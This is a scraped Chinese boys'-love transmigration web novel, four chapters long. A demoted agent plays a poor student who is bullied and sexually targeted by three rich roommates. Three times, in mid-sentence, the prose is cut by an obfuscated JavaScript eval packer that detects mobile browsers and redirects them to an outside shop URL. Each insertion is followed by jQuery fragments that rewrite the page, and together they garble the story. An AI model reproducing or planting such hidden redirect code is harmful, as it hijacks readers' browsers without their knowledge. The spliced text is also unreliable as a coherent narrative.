《bl文总受成攻[快穿]》 1. 第1章 第1章 天边散着丝丝白色、清潮的湿雾,林间葱绿的树叶衬得越发生机碧绿,染上一层薄薄的湿润细珠,带着清晨的朝气。 十一月份正是深秋,呼吸间带着凌冽的冷气,南大的红色塑胶跑道上不少人正在跑步晨练,空气中还有挥散不去的晨雾。 天空逐渐发亮,少男少女们的呼吸声越发急促沉重,江林强忍着鼻腔之间那股灼热干涸感,还有急促的心跳,尽量保持着匀速运动。 他现在这具身体,出奇的虚弱,虽然经过了个把月的训练,但离达到江林的要求还相差甚远。 江林是快穿部门的高级任务员,因为业绩优秀,数据达标,积分充足退休,但因为得罪了系统主神,所以又被下放到快穿世界。 这次系统都变得沉默寡言,收回了他积攒的所有金手指,延迟他的退休时间,美名曰部门缺人,想要逼迫他和主神认输,绝对不可能。 但这次的任务也不算太难,太奇怪,毕竟见过太多世界的奇葩任务,他觉得自己能够胜任。 原主叫孟南星,家境贫寒,倾全家之力供出的大学生,同时家庭也变得负债累累。 这样的凄惨身世,算是某些励志主角的标配。 但这篇小说,却并不是说主角创业的,而是单纯的无脑黄/文,充满穷酸气的天真主角受,被安排进了显赫家族继承人的宿舍里。 小说里富可敌国的财阀家族继承人,居然有三个之多。 而恰恰就是这么巧,孟南星还和这三人一个宿舍。 江林擦了擦顺着莹白脸侧的淌出来的汗,唇角泛起不明显的讽刺笑容,这种概率堪比火星撞地球。 后面,大概很多读者都看过这些剧情,孟南星成功和三人谈起了火辣辣的‘恋爱’,白天装作不熟的陌生人,晚上却是热情似火的性/伴侣。 孟南星还是三个少爷共同的床伴,能力之强也非常人,要不说贵圈玩的真花。 很多人大概都认为这三个天之骄子能够纡尊降贵和孟南星这样的人搞在一起,真的是孟南星祖坟冒青烟,八辈子修来的福气。 当时沉溺于泡沫幸福中的孟南星也以为自己是天之骄子眼中不同的存在,是无可替代的,他们是真爱! 真爱至上,他暗戳戳地幸福着,祈祷着,期盼着几人可以永远幸福地在一起。 但是大学一毕业,三人就消失得无影无踪,几年后三人娶妻生子丝毫不耽误,徒留下美梦破碎,被免费上了四年的孟南星,像是灰姑娘的十二点钟声响起,所有华丽的魔法都被收回。 在大学期间被养得好逸恶劳,习惯不劳而获的孟南星,没有背景,又吃不了苦,很快就被社会淘汰了,某次酒吧之行,被醉汉拿刀捅死。 这才是童话故事里的真实结局。 而江林的任务则是让孟南星获得一个圆满的结局,但至于什么结局才叫圆满,并没有给出一个明确的定义。 . 江林回到宿舍,里面空无一人,另外三位主角身份尊贵,自然不可能真的和他住在这个逼仄的四人宿舍里。 他托他们的福,也算是住上了豪华单人间。 江林没早课,慢悠悠洗了澡,准备换衣服,便听见门口传来声音,门锁扭动发出的机械声,门从外面打开。 门口站着一个穿着潮牌夹克的少年,头发呈现深棕色,眉宇间充斥着不耐烦的情绪,拿着手机,声音满似嘲讽和恶意:“用你的猪脑子好好想想,人家答应我,答应得好好的,你们吃一顿饭后。为什么他就不选择我们,而选择了傅清池那个蠢蛋......” 李炎诞抬眼,就瞧见一截白细细的腰身,一晃而过,那灰色运动裤虚虚锁着少年的腰......然后便见宿舍里那个愚蠢的室友慌慌张张套上了一件卫衣,好似生怕他多看一眼。 嚣张少年的眉头蹙得更深了,大力甩上门,坐在自己的位置上,看见桌上的陌生玩意,随手摔在地上。 哗啦啦地礼物落了一地,都是学校里一些喜欢李炎诞的女生送的礼物和情书。 江林看了一眼粉色、蓝色的礼物盒,唇角轻抿,准备蹲身去收拾,但是李炎诞的眼神落在他身上。 李炎诞嘴里继续骂着电话里的倒霉蛋,视线却毫无顾忌地在他脸上和身上流转,让江林一动不敢动。 在剧情中,孟南星就是那种趋利避害的穷光蛋,明明很自卑,但自尊心又很强,所以经常反抗三位大少爷命令,进而引起了少爷们的‘注意’,就被放进油锅里爆炒了。 江林也要扮演好原主的角色,若是被其他主角发现不对劲,是会被处罚的。 李炎诞看着这个除了样貌不错,其他品行一无是处的舍友那那都不爽,他戴着一个落伍的黑框眼镜,那死气沉沉的模样,像是死了几十年的死人,脸也白得像死人,畏畏缩缩的动作像个阴沟里的老鼠...... 就是腰还挺细的。 总之在李炎诞心中,江林根本配不上任何的好词,不是死人就是老鼠,仿佛任何光明美好的词语落在他身上都是白费的。 李炎诞身材高大,面容轮廓凌厉,从头顶到脚后跟,都充斥着一种‘老子天下第一拽’的桀骜感。他把挂断的手机随意地扔到桌上,眼神自下而上地打量了江林两眼,“怎么?这些破烂你也要捡吗?你是捡垃圾的吗?” 江林脸颊微鼓,脸颊因为刚刚洗澡还浮动着点点殷红,有些怯懦地看了李炎诞一眼,又低下头,盯着地上的礼物,低声道:“扔掉的话……都浪费了。” “就算是我扔掉的东西,你也没资格捡知道吗?傻叉。”李炎诞冷哼一声说道,对他的态度格外恶劣。 这都是因为之前孟南星曾经和新认识的好友说过李炎诞的坏话,他说:“李炎诞是舍友里面脾气最差的,不知道谁能忍受得了他的脾气,难道有钱人都是这么没有礼貌吗?” 然后传到李炎诞耳中,就变成了:“炎哥,你们宿舍那个孟南星骂你是个没有礼貌的傻逼。” 像李炎诞这种人,就算是背地里也没人敢说他一句不好,所以当他知道这个看起来唯唯诺诺的小子居然敢骂他,又传到他耳朵里后,就越发不待见他了。 当天晚上,就有人把孟南星的被单泼湿,而且他的备用床单也是湿的,他只能趴在桌上睡觉,这种情况维持了一个星期。 之后两人的每次碰面,李炎诞都会给原主找点事儿,直到后来两人上床,李炎诞才停歇,不过这个停歇,又在床上变本加厉地讨回来。 孟南星一年总有几次会因为肛裂进医院,大部分都是李炎诞的锅。 “哦。”江林点了点头,重新坐回自己位置上,没有和李炎诞继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732759|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶嘴。 但他忍气吞声的闭嘴,并没有让李炎诞觉得舒心,那种一圈打在棉花上的恼火感,瞬间让他暴跳如雷,甚至攥紧了拳头。 江林扫了一眼他凌厉凶狠的眼神,以及青筋凸起的大拳头,合理怀疑这个主角是不是个超雄。 他适当地露出一点害怕的神色,肩膀往后缩了缩,喉咙发紧:“你想干什么?” 宿舍内装了窗帘,现在只打开了一半,光线并不明显,昏暗的环境下,更加能滋生心中的恶意。 他在看见少年眼眸中的害怕后,李炎诞觉得心中的邪火散去了三分,他抬脚朝着江林走去,掐着他的脖子将人按在桌面上,以高高在上的姿态说:“你在外面败坏我的名声,这笔帐我一直记得,你别他妈惹我生气,懂吗?” 江林乖乖趴在桌子上,根本不知道哪里惹了他,任由这位超雄逞凶,反正这次他不会搞他的屁股,只是后脖颈被掐得有些疼,脸颊也贴着冰冷的桌面,能闻到木屑之间的腐气。 “知道了。”江林的声音偏淡,像是寡淡的白开水,清冷冷的。 李炎诞威胁地捏了捏他的脖子,看着他莹白的耳垂,半边脸颊泛着粉红色,像是半熟的水蜜桃,脸颊上的细小绒毛显得极为柔软乖顺。 他恶狠狠地骂道:“明明是个正儿八经的男人,长得一张脂粉脸蛋,腰比女人还细,难怪别人都说你是娘炮,你真的是男人吗?” 这话侮辱性极强,虽然江林并不觉得成为女人有什么不好,相反他极其尊重女性,但他身为孟南星,他必须表现出一些气急败坏。 所以他生气得脖颈都红了,挣扎一瞬,但没有挣脱李炎诞的束缚,他低低吼道:“你到底想说什么?你是不是......”有病。 后面两个字江林没敢说出口,但李炎诞却知道不是什么好话,他用手轻轻拍了两下江林的脸庞,很轻又很响,侮辱性也很强。 原本李炎诞只想拍两下的,可少年脸颊Q弹柔软,手感细腻,没忍住拍了四下。 江林忍得脸颊通红,连眼镜都乱了几寸,他呵斥道:“李炎诞!” 李炎诞漫不经心的抓起他的头发,问:“叫你爹干嘛?” 江林喘着气,急声说:“你别太过分了!” 李炎诞最不怕这种挑衅,问:“你能拿我怎么样?嗯?窝囊废。” 江林现在确实无法对李炎诞有任何的伤害,所以江林只是满眼怒火的瞪着他。 他像是个喜怒无常的神经病,只要看见江林就触发了他敏感的神经,一定要弄得江林忍无可忍才作罢。 见他‘屈辱’地忍下怒火,李炎诞满意地从衣柜拿出衣服进浴室洗澡,哼着小曲十分悠闲自得。 江林等他进了浴室后,脸上愤怒屈辱的神色消失得无影无踪,那双清澈明亮的黑瞳清明冷静,脸颊的温度也在散去,丝毫没有被这种小把戏触怒。 他从前在虐文部门的时候,比这屈辱千倍百倍的罪都受过,李炎诞这种不够看的。 江林收拾好桌面的东西,又准备好课本,不敢提前离开,因为上次江林想要躲避李炎诞提前走,被李炎诞事后捉住,不分青红皂白地把他堵在厕所教训了一顿,骂他这样的脏东西还敢躲他? 所以说李炎诞真的脑子有病,江林不能躲他,但遇见他又会使用各种手段欺负人。 2. 第2章 2、 水声像是哗啦啦的雨声,隔着浴室的玻璃门,能够依稀闻见沐浴乳的清香,李炎诞闻到了空气中残留的劣质茉莉皂香,其实很好闻的味道,只是他下意识地认为那个味道劣质的,是穷酸的味道。 李炎诞从浴室出来的时候,江林正在低头看书,穿着灰色的连帽卫衣,发丝乌黑,略深的发梢轻轻擦过他白透柔软的脸颊,那截从衣领露出来的后颈微微弯着,给李炎诞一种纤细柔软的感觉,似乎能够一手掌握轻轻捏碎。 他的剑眉一挑,站在江林旁边,双臂环胸:“孟南星。” 江林偏头看向他,从厚重的黑框眼镜下露出那双黑润的眸子,眼前的青年身材肩宽腰窄,肌肉线条流畅有力,劲腰的人鱼线顺着浴巾蜿蜒向下,他抱臂的姿势显得他的胸肌更加饱满了。 “干什么?”江林声音有些弱,有些无奈。 “洗衣机坏了,你帮我把衣服洗了吧。”李炎诞居高临下地睨着他,他五官凌厉,眼神倨傲,像是发号施令的君主。 江林缓缓抬眼看向他,在李炎诞好整以暇的目光中点了点头,低声回答:“好。” 李炎诞神情一怔,没想到他答应得这么快,他还以为这会让他恼羞成怒。 在原剧情中,孟南星的确恼羞成怒,然后和李炎诞在宿舍大吵一架,挨了一巴掌才老实,含泪洗衣服,江林不想挨这个巴掌,所以他现在就老实了。 李炎诞轻哼一声,“算你识相。” 江林起身去浴室,扑面而来潮湿热气,口鼻都像是被黏住了一瞬,他把李炎诞的衣服一股脑塞进他的泡脚桶中,然后放水,拿出自己的洗衣液,给他搓洗衣服。 李炎诞用毛巾擦着头发,换好衣服,特意来浴室“监工”江林有没有偷懒,正巧见着他细白的手指捏着自己的黑色四角内裤,上面还印着一排英文。 白色泡沫和黑色的布料揉碎在江林的手间,手背雪白,青色的筋络明显,指节却透着一股淡淡的水粉色,小小的一只,不知道握得住什么。 江林低着头,偏长的头发随着他的动作摩擦着脸侧白皙的肌肤,刘海下看不见的幽深黑瞳,他乖乖洗着内裤的样子,浑身充斥着奇怪的柔软。 李炎诞舔了舔干燥的唇想到,这就是崔嘉树最喜欢的“人/妻感”吗? 确实有一种,想让人把内裤塞进他嘴里的暴虐欲望啊。 他在下一瞬目光触及那个绿色塑料桶时,顿时眉毛都抖了一下,嘴角抽搐,怒喝道:“操你妈的,孟南星你是死人啊,你拿你泡脚的桶给老子洗衣服?” 江林感觉身后的危险气息,下意识地站起来靠在墙上,小兔子似的做出防备的样子,盯着来势汹汹的李炎诞,手指捏紧了柔软的布料,满脸紧张地说道:“我自己的衣服也是拿这个桶子洗的......” “靠,你的衣服多少钱,我的多少钱?!”李炎诞挥起拳头就要揍他。 江林偏头闪躲,有些小声地问道:“对不起......你的衣服多少钱?” 这细声细气的一句话,莫名显得无辜可怜,让这个脾气火爆的少年止住了拳头,心中气瞬间散了不少,李炎诞狠狠瞪了他一眼,不懂为什么自己一遇见这个傻逼就容易生气。 但一定是他的原因。 “衣服被你碰过了,你拿去扔了吧,真恶心。”李炎诞摔门离开,但宿舍门都非常没素质地没关。 江林闻了闻手上薰衣草香的洗衣液,轻声喃喃了一句:“明明香香的,哪里恶心了?” 没人回答他的话,江林沉默地把李炎诞的贴身衣服干脆利落地扔进了垃圾桶里,然后将那些名牌衣服洗了之后晾干,放上了某鱼上卖。 卖了两千多块钱,以A货的价格卖的。 够他一个月吃喝了。 江林希望李炎诞这个蠢蛋多犯几次蠢,他都不需要兼职了。 . 大学选修体育课,江林选择的是网球课,因为孟南星暗恋的女生也选择了网球课。 女生名叫赵云月,她和江林是一个省的,在火车上遇见的,正巧都在商学院,选课的时候两人便选了一节课。 暖阳灿灿,阳光不刺眼,也不灼人,还有凉爽的秋风吹过,室外网球场用铁丝围了起来和隔壁篮球场隔开,江林正在和赵云月对打,两人打得有来有回,配合非常,并不会故意刁难她。 江林今天穿了件黑色的卫衣,下面是偏深蓝的牛仔裤,握着球拍挥舞,脸颊泛红,打了十几分钟就出了汗,湿了卫衣里面的内衬。 赵云月穿着运动短裙,一双笔直纤细的长腿在裙摆下晃眼,两人随着老师的哨声停下来,站在一起有说有笑。 她知道眼前的少年喜欢她,赵云月并不反感,她长得漂亮可爱,从小就不缺追求者,她也能处理好和追求者之间的关系。 更何况江林这个追求者还很帅。 赵云月一米六八堪堪到江林肩头,尽管听说过很多江林的传言,说他是个坏种,每天背后嚼舌根,说他是个窝囊胚子,常常跪舔有钱有势的舍友,说他家里是老赖,欠钱不还...... 总之各种话都有。 可这都不妨碍江林长得赏心悦目啊,她没见过这个学校有几个比他长得帅的。 这并不会成为赵云月选择江林的理由,所以江林老实当个备胎就好啦。 孟南星也许不知道赵云月的心思,在情窦初开的年纪真心喜欢过她,现在江林知道她的心思,却也不打算拆穿,努力扮演这个老实害羞的追求者。 江林脸颊浮着潮红,脸上没有任何化妆品的痕迹,莹□□致,赵云月都有些羡慕江林的肤质,当时军训,她涂了一层层防晒都还是晒黑了不少,只有江林还是一张刚剥壳的鸡蛋脸,脸嫩得不行。 “星星,你好白啊,皮肤真好。”赵云月真心实意地赞叹道,歪着头,笑眯眯地看着他。 江林腼腆地笑了笑,给她拧好瓶盖,将水递给她,轻声说:“小月也很好。” 两人相视一笑,结伴离开去换衣服。 这边篮球场,李炎诞选的是篮球,他的好哥们崔嘉树选择的是马术,秦锐清选择的是游泳。 马术场最近出现了一些故障,所以他直接过来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732760|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李炎诞打球了。 崔嘉树见李炎诞站定喝水看着某处定了有几十秒,他拍了拍球递给一个同学,走到李炎诞身边,撞了撞他的肩膀,声音吊儿郎当:“哎?看什么呢?” “啧......”李炎诞眉宇间带着不耐烦,半瓶水咕噜咕噜喝完,眉头稍稍一挑:“你看那个孟南星还在那儿撩妹呢,他撩得明白吗,连和妹妹开房的钱都凑不出来吧。” 他心里忍不住嘀咕,他刚刚瞧见江林对着女生脸红,好像没见过女人似的。 没见过世面的玩意儿。 如果江林能听见李炎诞的心声,大概会觉得无语死,在太阳下打半个钟头网球,还不能脸红一下? 崔嘉树朝着那边看一眼,只看见两个般配的身影。他长相不比李炎诞锐利,是如春水般温柔的眉眼,眼波流转柔软,他好笑地说道:“小炎你是不是对他太关注了?” “如果他在背后骂你是傻逼,你大概能记恨他一辈子。”李炎诞嗤笑一声。 崔嘉树耸肩,笑着否认,“我不会哦,是小炎你太幼稚啦。” “你滚吧。”李炎诞烦躁地骂道。 “哎?你说,你不会是对他感兴趣吧,我记得你之前不喜欢男人啊......”崔嘉树故意这般说道,露出意味深长的表情。 李炎诞的拳头朝着他的脸狠狠砸去,但被他灵活躲开了,他大声骂道:“去你大爷的崔嘉树,你脑子有病吧,你才喜欢男人嘞。” “我是喜欢啊。”崔嘉树躲远了一些,笑容浅浅地回答。 “滚啊,死同性恋。”李炎诞拿着球朝着他砸了过去。 . 有专用的更衣室,更衣设备齐全,江林简单地冲了一个澡,换了一件白色短袖内衬,就准备去公共楼上课,刚走出去,迎面走进来一个高大的身影。 江林低着头准备避开他,但门口的阳光被挡住,阴影笼罩着他,他朝着左边躲,眼前的人朝着右边移,他朝着右边躲,前面的人往左挡住他的去路。 他咬了咬唇,慢吞吞抬起眼睫,撞进一双玩味的棕色眸子中,崔嘉树唇角勾着温柔的笑,声音也清朗温和:“小星,你在躲我吗?” 江林心中很想说,我和你很熟吗? 他面上却乖顺喊着:“嘉树哥。” 【崔嘉树——骨子里藏着的恶劣基因,让他喜欢抢夺兄弟的爱人,隐藏的xp是人/妻,脸上挂着温柔的笑,其实骨子里比谁都恶劣薄凉。】 是一只彻彻底底的恶犬。 他前期和江林几乎没有交集,在敏锐地发现李炎诞对江林自己都未察觉地看重后,便像是闻着味就凑上来咬一口的狗。 在小说剧情中,每次多人运动的时候,是崔嘉树最兴奋的时候,像个变态,最喜欢和“好兄弟”分食猎物,把人往死里整。 崔嘉树像是打量一件感兴趣的物件般,轻轻扫了一眼他的长相,就算带着眼镜,像个四眼呆子,但得天独厚的肤白,衬得江林像块小雪媚娘蛋糕,“小星,洗完了吗?要不要和嘉树哥一起洗澡啊?” 江林:......死变态。 3. 第3章 3、 江林呆呆愣愣的,几秒后脸颊以迅雷不及掩耳之势蹿红,嘴唇轻抿起,委婉拒绝:“我已经洗完了,嘉树哥。” 崔嘉树背着光,阴影落在他脸上,很遗憾地叹了一口气,出其不意地抬手,揉了揉他的头发,“那好吧......” “崔嘉树你有毛病啊,堵在门口干什么?”他身后传来李炎诞跋扈叫嚣的声音,语气带着股不耐烦的情绪。 李炎诞朝着里面看去,便见崔嘉树揉着少年蓬松的头发,而格外乖巧的少年,只是低着头,耳朵通红不知道是气得还是羞得。 他稍稍一怔,嗤笑出声:“你有病啊崔嘉树,你也不嫌脏,摸他的头......” 崔嘉树却大度地分享,笑眯眯道:“小炎,小星的头发很软,你要不要试试?” 浓密刘海下,江林的黑眸显得格外沉静冷淡,与通红的耳廓反差极大,对于两人的话,像是个置身事外的陌生人,他保持着沉默,知道自己并没有拒绝的权利。 “你自己好好享受吧。”李炎诞嫌弃地瞟了一眼两个狗男男,从旁边走过时重重地撞了一下江林的肩膀。 江林被撞得往旁边偏了偏,崔嘉树也收回手,温声道:“小星先去教室吧,马上要上课了。” 江林低着头走出换衣间,慢慢伸手捋顺自己被崔嘉树弄得乱七八糟的头发,眉宇间越发冷淡,神情恹恹,他讨厌别人弄乱他的头发。 下一节课是国际英语,在公共楼,江林坐在第一排,前三排都稀稀疏疏坐着几个学生,大部分学生都挤在中间的位置,最后三排坐的人也比较少。 学校论坛上激烈讨论着: 一条喜欢爆料的咸鱼:【我靠,我今天在学校更衣室看见cjs摸mnx的脑袋,眼神好温柔啊。】 学校论坛是匿名制的,所以是爆料八卦的绝佳场所。 崔嘉树是我老公:【拜托,cjs那双眼看狗都深情好吗?而且mnx之前就得罪了lyd,崔哥是李的好兄弟,怎么会和他有什么?】 宝宝一定要暴富:【但......之前不就有人说过吗?mnx靠手段才进f3宿舍的,应该就是想要勾引他们吧,靠着卖屁股直上青云,啧啧。】 不愿意爆料姓名的吃瓜人士:【他还能勾引谁啊,得罪了lyd只能夹着尾巴做人吧,据说社团和部门都退了,现在就天天藏在图书馆,生怕被找麻烦嘞。】 崔嘉树是我老公:【散了吧,他们不可能看得上mnx的。】 ...... 论坛上的风向几乎一边倒,南大带着一点贵族大学的风格,其中能够进入这所学校读书的人,都是非富即贵,但每年都有贫困生名额,可以免除学费。 南大就是一个捧高踩低的社会缩影,出于嫉妒,出于奉迎的目的也好,几乎没有人会为孟南星这个贫困生说话。 江林认真听课,手机上的论坛早就卸载了,他现在就读的商学院,本身并不适合孟南星这个人设。 原本他想读的也不是商学院,而是想学计算机,只是因为计算机学院人满了,他被调剂到商学院。 像孟南星这种性格自卑又清高,毫无背景,不够圆滑的人来说,商学院这个选择并不明智。 所以江林准备换专业。 学校换专业只有成绩前几名才有资格申请,江林的金手指都被限制,连记忆力也只能算是普通,做不到过目不忘,这些专业知识都要从头捡起来。 上课上到一半,教室里发生一些细小的骚动,江林没回头,心里明白应该是宿舍那三个人来了。 仿佛小说主角自带光芒,三人出现总是会弄出一点动静或者说骚乱,才能配得上三人的格调。 站在讲台上讲课的老师,恍若没有听见台下学生的倒吸凉气和小声议论的声音,依旧在翻译着一些专业的英语词汇,甚至面带荣光,像是能够让主角团来听自己的课,是一种莫大的光荣。 江林记着笔记,没有回头看,下课之后也是直接背上书包去兼职了。 南大的消费水平,也是整个南方大学最奢侈的,食堂中的饭菜就算最便宜的素菜都要四五十,仿佛在抢钱。 江林的钱包岌岌可危。 . 江林提前坐地铁去著名的富人小区,华南宫府,从地铁站步行十几分钟,才达到雇主家里。 他接了一个家教,一周补习三天,一小时五百块钱,在正规软件上接的,他附上了自己将近满分的高考数学成绩,成功获得了这份兼职。 从前原主也兼职,不过是在夜店,后来又在夜店偶遇了三个男主,让人觉得他是个廉价的鸭子,后期他们三人敢肆无忌惮地玩弄他,也是觉得原主不是什么值钱玩意儿。 后面在夜店陪酒的照片,还被某些f3的狂热粉丝放在论坛上肆意羞辱贬低。 江林选择了来钱更快的工作,相比喝到胃出血也就几百小费的工作,家教老师是大学生不错的选择。 江林站在偌大的大门前,他抬手按响了门铃,很快大门打开,女管家笑着说道:“是小少爷的家教老师吗?” “嗯。”江林点头,然后被管家阿姨带着坐上了代步车,穿过花园和喷泉,走到别墅住宅区,宛如宫殿般装潢的屋子,往后看去连绵几栋,屋子里有男孩叫嚷的声音。 江林耳膜几乎被尖锐尖叫声冲破,让他几不可察地蹙了蹙眉,心中有些不好的预感,在看见一个半大小孩骑在几个大人身上玩儿的时候,他不好的预感成真了。 他忘记了一点,家教确实算是轻松的兼职,但他真的很讨厌毛孩子。 “小少爷,您的老师来啦。”管家和小少爷说话的声音更是软得不行,千哄万捧着。 小少爷秦朗朝着江林扑过来,抓着他的手腕,往前面拖,趾高气昂地命令着:“趴下,让我骑你!” 江林额角的青筋跳动,都快忍不住将拳头砸在秦朗这张脸上了,他忍了忍,好脾气地说道:“要先上完课,才能玩儿。” “我不要上课!!不要!!不要!!啊!!”秦朗大叫起来,顿时其他人就围拢过来哄着。 江林深吸一口气,“我是你爸妈付钱找来的老师,小心你爸妈......” “哼,你居然拿我爸妈吓我,我才不怕呢,你给我跪下,当我的马。”秦朗人小鬼大的昂起头,有恃无恐地说道。 江林觉得情况有些棘手,在他看来,像这样没礼貌的熊孩子就是欠管教,但他不可能动手打雇主的孩子,这也和他的人设不符...... “快点!”秦朗就是觉得所有人都必须捧着他,他不耐烦地催促起来。 “小少爷,让我们给你当马就好了,小江是你的老师......”管家试图解围控制场面,但是秦朗根本不买账,一把将管家推倒,说:“我就要他!” 管家有些无奈地看向江林。 江林后槽牙都咬碎了,手轻轻握拳,克制自己的脾气,不让自己的巴掌扇在他脸上。 就在气氛紧张窒息的时候,身后传来一道冰冷的声音:“秦朗,你在闹什么?” 这声音有些耳熟,江林求证地往后看去。 门口缓缓走来的高大男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732761|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,穿着简单的休闲运动装,肩膀上背着单肩包,身材像是衣架子,肩宽腰细腿长,一张冰冷英俊的脸,正拧着眉,眼神锐利地扫过江林和秦朗。 江林察觉到身边的小孩瞬间安静如鸡,唯唯诺诺地喊了一声:“大哥。” 【秦锐清——宿舍f3财阀太子中的最后一位,外表看似冰冷,拒人千里之外,但与外表最不符的是......他有性/瘾。】 秦朗天不怕地不怕,只怕这个同父异母的大哥,秦锐清揍他,是真揍他,往死里揍,谁说话都不好使的那种。 “您怎么来了?”秦朗乖乖站着,旁边的人也纷纷站起来弯腰喊大少爷。 秦锐清对上秦朗畏缩的眼神,眼底一闪而过的嫌弃,嗓音冰冷:“你妈让我来看看你上课的情况,所以你就是这么上课的?” 秦朗小手捏在一起:“是老师刚来,我没闹......” 江林看着反差极大的小孩,再次推翻了小孩不会撒谎这个定论。 “你是他的家教老师?”秦锐清视线落在江林脸上,带着强烈的打量目光,似乎在质疑他是不是真的能带得好学生。 江林从包里翻出自己的高中数学教师资格证,又拿出自己打印好的高考成绩,肯定地点头:“是的,我是他的老师。” 秦锐清手插在兜里,没接他的东西,坐在沙发上,翘起二郎腿,仰了仰下巴,淡淡道:“就在这里教吧。” 秦朗这次动作很快,从保姆那里接过家庭作业,坐在地毯上,作业铺放在玻璃茶几上。 江林不尴不尬地收起自己的资料,盘腿坐下,看着乖巧问问题的秦朗,心中感叹剧情的力量。 就算改变了原有的剧情,主角之间还是会产生交集。 之后的工作就显得非常顺利,秦朗上初一,内容很简单,他人也聪明几乎一点就通,没有花费太多的心思,期间秦锐清像根定海神针似的坐在沙发上玩游戏。 秦锐清不动声色地打量了江林几眼,可能是因为今天李炎诞和崔嘉树在他耳边说过他的名字,所以他下意识地注意了他。 他的声线轻柔低磁,不紧不慢地讲解题目,分析知识点,侧脸在顶光下显得柔软,耐心十足地解答疑难,像个乖乖当老师的学生。 江林见秦朗专注一小时后心思飞了,他就让他休息十分钟。 秦朗看了一眼背后的秦锐清,不太敢动,直到见他没露出反对的神情,才像是解放了似的跑到厨房去吃东西。 江林伸了伸因为长时间盘腿坐有些麻的腿,偌大的客厅里只有他们两个人,他隔着镜片偷偷打量着秦锐清。 他们宿舍的f3长相各有各的突出,秦锐清属于那种清冷挂的长相,眉眼间仿佛雪山冰块,常年万古不化的那种,嘴里咬着烟,正在面无表情地打游戏。 秦锐清察觉到他的视线,抬头朝着他看去,然后就看见慌忙低下头的乖学生,低头假装忙碌地整理着试卷。 “过来。”秦锐清见状眯了眯眼,按灭了手机,声色因为香烟的熏染显得更加沙哑。 江林起初当作没听见,直到秦锐清又开口:“孟南星。” 江林才抬眼对上他黑漆漆的冷眸,白皙的脸皮紧绷,有些紧张地问道:“干......干什么啊?” “坐过来,小老师。”秦锐清眼神疏离高冷,拍了拍他旁边的沙发。 江林心中叹气,秦锐清那股高岭之花的气质,任谁都看不出来,他是一个喜欢玩m奸的变态。 f3各有各的变态。 也难为原主‘天生丽质’(皮糙肉厚)扛得住。 4. 第4章 4、 偌大的客厅内水晶吊灯华光异彩,落在人眼中仿佛阳光般夺目,头顶是一幅精美绝伦的油画,欧式宫廷风的建筑。 秦锐清动作慵懒地靠在沙发上,手腕上黑色的运动手表,眉眼冷沉,气势凌厉,仿佛宫廷中的帝王。 江林心中无波无澜,动作却慢吞吞地,坐在柔软的沙发上,让刚刚在地毯上坐麻的屁股得到了缓解。 “秦锐清。”江林垂着眼,低声喊他的名字。 明明是很平缓地语调,听到秦锐清耳中,却格外轻柔,像撒娇似的。 “我以为你不认识我呢。”秦锐清唇角扯着冰冷的笑,指尖烟雾缭绕,拿出烟盒,“抽烟吗?” 江林摇头:“不抽。” 但他的拒绝秦锐清像是没听见,依旧维持着向他展开烟盒的动作,动作带着不容拒绝的强势。 江林有些受不了这些不知道拒绝为何物的天龙人了。 他抿了抿唇,憋红了脸,抽出一根细长的烟,抬眼看向秦锐清,那双圆润柔亮的杏眼,直瞪瞪看着他。 秦锐清收起烟盒,牙齿咬着烟,眼底几不可察的滑过一丝满意的笑,但下一瞬,骤然靠近的脸,让他的所有动作和表情都下意识地停下。 江林正凑在他脸侧,认真地用自己的烟头去蹭秦锐清燃烧的火星,眉眼轻轻蹙着,显得极为认真。 从秦锐清的角度看,能瞧见江林浓密笔直的睫毛,隔着眼镜扫下一片浓密的阴影,他的睫毛还在轻颤,似乎很紧张,雪白的肌肤没有半点瑕疵,脸颊粉红一片,近在咫尺的呼吸除了能闻见烟味还有一股莫名其妙的香味。 秦锐清回过神来,眼神瞬间晦暗不明,那双凤眼丝毫不避讳地打量着江林,他的动作很紧张,细长的香烟被他含在粉润的唇瓣间,疯狂地抖动着。 江林在某一瞬间抬眸,两人的视线在空气中相撞,一个像是慌乱的小鹿,一个则是固执维持人设的冰山。 他猛地拉开距离,刚刚抖动着蹭上的火星瞬间又熄灭了。 秦锐清一本正经地看着他,冷静地随手将烟碾灭,冷声问:“你在干什么?勾引我吗?” “不是......”江林矢口否认,双眼无辜:“点烟,不都是这样点的吗?” “我看电视剧都这样。” 秦锐清却不会这么轻易被他糊弄过去,眼神带着轻慢之色,在他眼中,江林根本不是能够和他相提并论的人,更像是一只蚂蚁。 能够一个手指碾死的蚂蚁。 现在这只小蚂蚁在和他玩手段,这让我觉得鄙夷又心安理得的认为江林的讨好是应该的。 